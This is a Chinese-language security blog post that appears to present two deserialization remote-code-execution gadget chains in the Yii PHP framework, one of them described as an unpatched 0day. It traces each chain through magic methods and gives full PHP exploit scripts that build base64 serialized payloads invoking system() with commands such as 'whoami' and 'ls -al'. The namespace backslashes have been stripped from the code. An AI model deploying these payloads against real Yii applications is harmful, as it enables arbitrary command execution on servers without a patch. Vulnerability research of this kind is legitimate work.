Yii框架反序列化RCE利用链2(官方无补丁)
Author:AdminTony
1.寻找反序列化点
全局搜索__wakeup函数,如下:
找到symfonystringUnicodeString类,其__wakeup方法中调用了normalizer_is_normalized方法。
该方法要求传入的内容是字符串。且$this->string可控,那么只要找到一条由__toString方法构造的利用链即可。
全局搜索__toString方法,寻找可用的点,最终找到:
($this->value)()这种形式,函数名可控,然后结合IndexAction类的run方法即可形成反序列化利用链。
最终利用链:
yiirestIndexAction->run()
symfonystringLazyString->__toString()
symfonystringUnicodeString->string
normalizer_is_normalized()
symfonystringUnicodeString->__wakeup()
2.构造payload
-
实例化yiirestIndexAction类,设置其$checkAccess变量、$id变量和$config变量
-
实例化symfonystringLazyString类,设置其$value变量为IndexAction类和run方法数组
-
实例化symfonystringUnicodeString类,设置其$string变量值为LazyString类。
最终Exp:
<?php
namespace SymfonyComponentString{
class UnicodeString{
public $string;
}
class LazyString{
public $value;
}
}
namespace yiirest{
class IndexAction{
public $id;
public $controller;
public $config;
public $checkAccess;
}
}
namespace {
//use SymfonyComponentString;
//use yiirest;
//1,'yiiwebController',['modelClass'=>'yiidbBaseActiveRecord']
$indexAction = new yiirestIndexAction();
$indexAction->id = 'whoami'; // 修改执行的函数值,如whoami
$indexAction->controller = 'yiiwebController';
$indexAction->config = ['modelClass'=>'yiidbBaseActiveRecord'];
$indexAction->checkAccess = 'system'; // 修改执行的函数名,如system
$lazyString = new SymfonyComponentStringLazyString();
$lazyString -> value =[$indexAction,"run"];
$unicodeStringObj = new SymfonyComponentStringUnicodeString();
$unicodeStringObj->string=$lazyString;
var_dump(base64_encode(serialize($unicodeStringObj)));
}
效果如下:
Yii框架反序列化RCE利用链3(0day)
Author:AdminTony
挖到以后,去翻了下朋友圈,发现已经有师傅在昨天晚上公开了。
1.寻找__destruct方法
寻找__destruct方法的时候主要注意几个点:
-
该__destruct方法中是否有
call_user_func($this->test,[$this->arr])
或者$this->test()
类型的可控函数 -
该__destruct调用过程中,有没有
$this->reader->getUser()
类型的调用,此类调用有两种跳板选择方法
-
找getUser函数,通过getUser函数找到一条代码执行利用链
-
找__call函数,通过__call函数找到一条代码执行利用链条
-
该__destruct调用过程中,是否能触发其他魔法函数,比如
test($this->tests)
,test函数要求传入String类型参数时,如果我们设置的$this->tests
是一个类,则会自动调用该类的__toString方法,然后从__toString找到一个反序列化利用链。
本着这几点思路,开始寻找。
vendor/codeception/codeception/ext/RunProcess.php
代码片段:
__destruct
方法中调用了stopProcess
方法,该方法$process
可控,从而形成$this->reader->getUser()
类型调用,我们可以寻找isRunning
函数的代码作为跳板或者__call
函数的代码执行作为跳板。
2.寻找跳板
vendor/fzaninotto/faker/src/Faker/Generator.php
代码片段:
跟进format
函数:
找到call_user_func_array
,那么我们只需要让$this->getFormatter($formatter)
的结果是我们指定的函数即可。
也就是说,$this->formatters['isRunning']
设置为想要执行的函数即可,而$arguments
我们不可控。只能传入一个对象做函数,借助[(new test),"run"]
这样的调用实现代码执行。
正则:call_user_func[_w+]*($this->[_$w]*,s*$this-
这样的可用类只有两个IndexAction
和 CreateAction
代码片段来源于:vendor/yiisoft/yii2/rest/IndexAction.php
从而形成一条反序列化RCE利用链。
3.Exp编写
其实Exp编写也是一项比较有意思的活。最开始我总是在controller里面直接实例化利用链里面的几个类,发现还的分析__construct
方法,看传入的值,有时候父类太多一直调用parent::__construct
也是挺烦的,后来这两天看米斯特的奶权师傅直接重新定义了一个类,然后把必要的值传入其中。试了下,这个方法真的好用,再也不用管__construct方法了。
说了这么多废话,开始放EXP:
<?php
// RunProcess->stopProess ->> $process->isRunning() -->> Generator->__call ->> IndexAction->run
namespace CodeceptionExtension{
class RunProcess{
public $processes;
}
}
namespace Faker{
class Generator{
public $formatters;
}
}
namespace yiirest{
class IndexAction{
public $checkAccess;
public $id;
}
class UpdateAction{
public $checkAccess;
public $id;
}
}
namespace {
//$indexAction = new yiirestIndexAction('whoami',1,["modelClass"=>'BaseActiveRecord']);
$indexAction = new yiirestIndexAction();
$indexAction->id = 'ls -al';
$indexAction->checkAccess = 'system';
$generator = new FakerGenerator();
$generator->formatters = ["isRunning"=>[$indexAction,"run"]];
$runProcess = new CodeceptionExtensionRunProcess();
$runProcess->processes = array($generator);
//$runProcess->setProcesses(array($generator));
var_dump(base64_encode(serialize($runProcess)));
}
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论